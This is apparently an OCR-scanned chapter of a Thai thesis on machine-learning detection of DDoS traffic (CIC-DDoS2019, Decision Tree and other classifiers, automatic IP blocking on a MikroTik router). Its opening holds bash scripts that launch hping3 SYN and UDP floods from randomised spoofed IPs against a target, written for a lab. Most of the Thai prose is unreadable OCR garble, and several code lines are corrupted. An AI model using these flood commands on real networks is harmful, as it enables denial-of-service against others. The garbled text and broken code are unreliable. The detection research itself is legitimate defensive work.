echo "d@1 SYN 910 IP Uaay: Sip"
hping3 -S --spoof "$ip" -p SPORT --flood "STARGET" &

done

AN 3-23 gardmageunislauikuy SYN Flood
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PNAINT 3-23 uanaiaA1dan1slaufuuu SYN Flood Taeld@nds hping3 dadu
\w3esllodmiuassazdaining TCP wuurmuaailies lngld flag -S 1ieds SYN packet
A < a ¥ ~ 1 A o [ Aa v a
MIURINNLNASUAUYDINTZUIUNSRDUABLUU TCP Wind1ansanwauen1shaufndun1siln
n1sWeunadwuinlagliUanisweuss danalinineinsvesszvuidmanggnldau
uliianusanevaussnensfenseludla A1ds —-spoof i@ msulasumnaiaulofdiumnig
Tiguilaudin1sWeusdouanaleunas wazaAds —flood Todmsudsuininaludnsigs
PERRGRIVON

3823 mslwAfiendeUiinatoyavinalng (Volume-based Attacks)

random _ips=()
foriin {1..20}; do
ip="$((RANDOM % 223 + 1)).5(RANDOM % 256)).$((RANDOM % 256)).5(RANDOM % 256))"
random_ips+=("$ip")
done
for ip in "${random_ips[@]}'; do
echo "d@1 UDP 210 IP Uaau: Sip"
hping3 --udp --spoof "Sip" -p SPORT --flood "STARGET" &

done

AN 3-24 Yardmageunislaudkuy UDP Flood

AN 3-24 wansderndenistaufiuuy UDP Flood tagldmds hpings &aiu
wiedlodmiuadruardsuinnansetne Tnglunsalild flag —udp diedauiininauuy UDP
Wdadmane fadunisdassdnuaznislasdfidfunisdedeyadiuiuannainvaisunas
el szuuidmanedaaunuisiuveansmfnauldawisaliusnsldauund
f1ds —spoof Wil oUasunmeatlefidumdiunnarsiuluusazadafids was —flood
THifledauiininasesningegnetnasieliles

laen15Useiliunadeiansananteya 6 AauUs lun vlinn1slaud seun1svagey
Srumlefidunefinsiany S1uwunseunanins9duld Sruuledilivaaey wardns
N13719739U ImeLﬁuiayjamﬂsaumaauﬁu’mm 5 seuluudagUszunnnisland Wieuseudu

ANNALNT0IMUUTIARd U TILUNNIAN A uSuns18a NN TINTNUNR
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HaEgUNSATUNTIETRUITUTEaz B n iRl
4.1 wamsUsziuanuuiugvealuuiaeduniinsadunisiaud

4.2 wan1suszliunistesiunslandvusieesiulasin

4.1 wan13uszilivaaiugrvasuuuInaeslunIngadunslaud
mMsUspifiulszansnmeeuuuitasinsifousveaisaileduunusznnuiaa
ToyakarnTI9TUNITRNALUUU s 1TIRUTNITHUUNTEAY IngiUSeumisulsyansan
vo9 Aulifdndule laswnouszamidion wwudraeadoudwlndiian uaz wivug
HIUNTTIA AIAUGNABY $I8UNTIUNUTTLANKAEATIT A UTI T WIS N HaUsedly
msdnngudeyanuuiaiiudussnsiangudeyauuuannseadmsuswunuvasiisnnislon
4.1.1 mMsUssliunawuuItaasdiunnslanfLuuyiasnisiiusnisuuunssane

! I a a o Y ! = = L3
Nﬁﬂ’]iLUiSULWU‘U‘UiSﬁ‘WﬁﬂWWLLUU‘\]’]@EN"UﬂﬂE}SJﬂ'ﬁI"UlIG]LLUULﬂﬂJUﬁ

A1519% 4-1 WaNSUSEULNEUUSLENTNINLUUIIADY

y UszansnInKuuINaas
LLUUINEBY
Accuracy(%) | Precision(%) | Recall(%) |F1-score(%)
Decision Tree 99.65 99.75 99.75 99.75
Neural Network 99.30 99.50 99.50 99.50
K-NN 99.10 99.25 99.25 99.25
Naive Bayes 91.00 92.00 85.50 86.75

wuudassiuliifndulafidmmgnioundegeiedosas 99.65 Ammgniesluusias
Fold fianuduriuni eglurafesas 99.58 - fosar 99.72 Jeavsiouduafiosninues
wuudiaes nsduunUszianvesssulidimnuwiugt anul wazAnzLuueNnis
TuseAuas (= 0.99 - 1.00) lunnvsiany wuudnaesauisadwunUsennues Application

laegagndessosas 100 lasliddedanaindafanainlunisviwundiienanioy
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U f9E19 185 59813084 Protocol gnadnuunfinilu Normal Fuwansliliufenuaiunse

YoauuIaadlunsdundeya nslanfuuUiasnisuinsLuunTEang

Confusion Matrix Decision Tree
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wuudnaewuliifnduladAinnugniesgeaniisosas 99.65 WaLaIIALAAINAINGH
wiuglunnumnanyiieainnuianainfisiuin Jeuadindusuuiiaesimunzauign

dwsunisnsadunislananuuufiasnisiruimsuuunseaglussuuinieiy

| oy
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Confusion Matrix - Neural Network
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Confusion Matrix - k-NN
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1. MsEnwuuIaasdmunsRduNslauAkuulEsnisliusnsIuUNIEane

import pandas as pd
from sklearn.utils import resample
df = pd.read_csv("Classification]-Combined CIC-DDoS2019 Data.csv")
attack_counts = dff"AttackLabel"].value_counts()
max_count = attack counts.max()
df resampled = pd.concat([
resample(df[df['AttackLabel"] == label], replace=True, n_samples=max_count,
random_state=42)
for label in attack_counts.index
)
df resampled.to_csv("Balance]-[Classification]-Combined CIC-DD0oS2019 Data.csv',
index=False)

print("Resampling LaSadunaztuiinlndissuiosnan’)

7ui n-1 geAdErsuunluanuaunavestoya

= o ¥ o v o1 o o v oo ' o v
NAMA n-1 Ardeimiidusiiegetayaliusazngy Attacklabel 91w

(balanced dataset) titethluldlunmsinlunaSeuiveuniaeg1aiusz@niam



71

import pandas as pd, pickle

from sklearn.model_selection import KFold, cross val score

from sklearn.tree import DecisionTreeClassifier

df = pd.read_csv("[Balancel-[Classification]-Combined CIC-DDoS2019 Data.csv")
labels = {Normal': 0, '‘Application": 1, 'Protocol" 2, Volume": 3}

X,y = df.drop(columns=["AttackLabel"]), df{"AttackLabel"l.map(labels)

kf = KFold(n_splits=10, shuffle=True, random_state=42)

model = DecisionTreeClassifier(max_depth=3, min_samples_split=50,
min_samples_leaf=20, random_state=42)

scores = cross_val_score(model, X, y, cv=kf, scoring="accuracy')

model.fit(X, y)
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import pandas as pd, numpy as np

from tensorflow.keras.models import Sequential

from tensorflow.keras.layers import Dense, Dropout

from tensorflow.keras.utils import to_categorical

from sklearn.model_selection import train_test split

from sklearn.preprocessing import StandardScaler

df = pd.read _csv("data.csv"); df"AttackLabel"] =
dff"AttackLabel"l.map{'Normal':0,'Application":1,'Protocol":2,' Volume':3})

X = StandardScaler().fit_transform(df.drop("AttackLabel", axis=1))

y = to_categorical(df["AttackLabel")

X train, X _test, y train, y test = train_test split(X, y, test size=0.2)

model = Sequential([Dense(128, activation="relu’), Dropout(0.3), Dense(64,
activation="relu'), Dropout(0.3), Dense(4, activation="softmax’)])
model.compile(optimizer='adam’, loss='categorical _crossentropy', metrics=['accuracy'l)

model.fit(X_train, y_train, epochs=50, batch_size=32, validation data=(X_test, y test))
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import pandas as pd

from sklearn.model_selection import KFold, cross val score

from sklearn.neighbors import KNeighborsClassifier

df = pd.read_csv("data.csv")

dff"AttackLabel"] = dff"AttackLabel"l.map({'Normal': 0, 'Application’: 1, 'Protocol’: 2,
'Volume': 3})

X,y = df.drop(columns=["AttackLabel"]), df["AttackLabel"]

model = KNeighborsClassifier(n_neighbors=20, weights="uniform’, algorithm="auto’,
metric="minkowski', n_jobs=-1)

scores = cross_val_score(model, X, y, cv=KFold(n_splits=10, shuffle=True,
random_state=42))

model.fit(X, y)

a o ¥ o o = ° A v vl
AINN nN-4 ﬁ@ﬂqﬁﬂﬁfﬁﬂi‘UNﬂLLUUQW@@QLW@U‘UW‘LﬂﬂaVIQW

AT N-4 A1dNsEnLULTIaeeeIshuUTtaeuioutulnafign (k-Nearest
Neighbors : k-NN) Tun1sd1uunissianaasnislausieiavisluauidedlaninun
1 a I3 (% 1% J ) = [ 5 1 o Al v P v a
AMSEiwesuan taua n_neighbors=20 dadunsasrmdnuiuiveutuililunisdndula
ianuatiesuniu lnglanizlenasduundeyanalengy wazfimua weights='uniform'
Welindeyalunguiieudiuduivinwindy vauedl metric='minkowski' T luszezing
ugulun1sAwn wae n jobs=-1 ialin1suszuianaldnineinsvemiisussuiana

<

LAUN



74

import pandas as pd

from sklearn.model_selection import KFold, cross val score

from sklearn.naive _bayes import GaussianNB

from sklearn.preprocessing import StandardScaler

from sklearn.metrics import classification_report

df = pd.read_csv("[Balance]-[Classification]-Combined CIC-DDoS2019 Data.csv")
dff"AttackLabel"] = df["AttackLabel"l.map({'Normal0, 'Application":1, 'Protocol"2,
'Volume':3})

X = StandardScaler().fit_transform(df.drop(columns=["AttackLabel']))

y = df["AttackLabel"]

nb_model = GaussianNB()

scores = cross_val_score(nb_model, X, y, cv=KFold(n_splits=10, shuffle=True,
random_state=42))

nb_model.fit(X, y); print(f"Accuracy: {scores.mean():.4f}")

a o & o W ¢ ° a ¢
AN N-5 YAATEREWRUNNUUUI TROIUE WU

NAINA A-5 AIFINISENLUUTI80IAELUUTIRBUBNLUY (Naive Bayes) Tuauide

'
v YV a o ]

Y GaussianNB() Fanziudayalisiaviiinisuanuaskuuund (Gaussian Distribution)
Tnglafin1siruanisdimesiiuia 1ed9In GaussianNB AN15AMUAAINUFIUTAMINZEY
v Y 1 1% 1 < 1 o Y v v ! o ¥ a 14

Autayasguad egralsinunewiidrdeyadinguuuinass ladnisld StandardScaler
W aUsuuiasgiuvestoyaliianadeilu 0 wavdrwdenvuuinsgriudy 1 de9ae
Tin1sUszaanaiin UL ugIINTy nadwsann1suseunieg K-Fold Cross Validation

31171 10 90



75

import pandas as pd

from sklearn.cluster import KMeans

from sklearn.preprocessing import StandardScaler

from sklearn.metrics import silhouette score, davies_bouldin_score

df = pd.read_csv("Combined_Clustering BaselineEvaluation.csv")

X = StandardScaler().fit_transform(df[["Packet Count", "Byte Count", "Packet Rate (pps)',
"TCP SYN Count", "UDP Count", "HTTP Request Count"]])

kmeans = KMeans(n_clusters=2, random_state=42, n_init=10).fit(X)

dff"Cluster KMeans'] = kmeans.labels

print(f'Silhouette: {silhouette score(X, kmeans.labels ):.4f}, Davies-Bouldin:

{davies_bouldin_score(X, kmeans.labels ):.4f}")
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import pandas as pd

from sklearn.cluster import SpectralClustering

from sklearn.preprocessing import StandardScaler

from sklearn.metrics import silhouette score, davies_bouldin_score

df = pd.read_csv("Combined Clustering BaselineEvaluation.csv")

X = StandardScaler().fit_transform(df[["Packet Count", "Byte Count", "Packet Rate (pps)",
"TCP SYN Count", "UDP Count", "HTTP Request Count"]])

spectral = SpectralClustering(n_clusters=2, affinity='nearest_neighbors', n_neighbors=10,
assign_labels="discretize', random_state=42)

dff"Cluster_Spectral"l = spectral.fit_predict(X)

print(f'Silhouette: {silhouette score(X, df['Cluster Spectrall):.4f}, Davies-Bouldin:
{davies_bouldin_score(X, dff'Cluster_Spectral'l)..4f}")
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packets = rdpcap(pcap_file)
for pkt in packets:
pkt = tzsp_strip(pkt) or pkt
if IP in pkt:
summary = (pkt[IP].src, pkt[IP].dst, len(pkt), pkt[TCP].flags if TCP in pkt else None)
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def combine_csv_files(pattern, output_file):
files = sorted(glob.glob(pattern))
dfs = [pd.read_csv(f) for f in files if os.path.getsize(f) > 0]
[os.remove(f) for f in files]
if dfs: pd.concat(dfs).to_csv(output_file, index=False)
def merge parse_process(output pcap):
combine csv_files(f"{output_pcap} * parse attack type.csv', f'{output pcap} type.csv')
combine csv_files(f'{output_pcap} * parse attack detail.csv',
f'{output_pcap} detail.csv")
return pd.read_csv(f'{output_pcap} type.csv'), pd.read_csv(f'{output_pcap} detail.csv")
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def attack type_classification(df):

features = ["Packet Count", "Byte Count", "TCP SYN Count", "UDP Count", "HTTP Request Count’,
"Incomplete Handshake"]

model = pickle.load(open("decision_tree kfold_model.pkl", "rb")

le = LabelEncoder(); le.classes_ = np.array([Normal, 'Application’, 'Protocol’, 'Volume'])

X = dfffeatures].fillna(0)

df = df.copy(); dfl"AttackLabel"] = le.inverse_transform(model.predict(X))

if "Time Window Start" in df.columns:

dff"Time Window Start"] = df["Time Window Start"]

return df
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def attack detail classification(df, atk type):

cols = ["Packet Count", "Byte Count", "TCP SYN Count", "UDP Count", "HTTP Request
Count"]

dff"Cluster"] = 0 if len(df) < 2 else KMeans(n_clusters=2).fit_predict(dflcols])

dff"ClusterLabel'] = "Normal"

df.loc[(df["Packet Count"] > df["Packet Count"].quantile(0.75)) & (df['Byte Count"] >
dfl"Byte Count"].quantile(0.75)), "ClusterLabel"] = atk type + "Attack"

return df.groupby("Cluster")["Src IP"].apply(list).reset_index(), df
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interface, duration, filesize, output_pcap = "Ethernet”, 10, 20480, "mikrotik_stream"
while True:
if capture(interface, duration, filesize, output_pcap) and parse_process(output_pcap):
atk type df, atk detail df = merge parse process(output pcap)
predict df = attack type classification(atk type df)
for , row in predict_df.iterrows():
if row["AttackLabel"] != "Normal"™:
base df = atk_detail_df[atk detail df["Time Window"] == row["Time Window
Start']]
merged_df = pd.concat([atk_detail_df, base df])
_, filtered_df = attack_detail_classification(merged df, row["AttackLabel"])
prevent ips = filtered dfffiltered df["ClusterLabel].str.contains("Attack”,
case=False)]
for ip in prevent ips["Src IP"l.unique(): add_ip to mikrotik(ip,
row['ClusterLabel"])
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Filter Rules NAT Mangle Raw Service Ports Connections Address Lists | Layer7 Protocols
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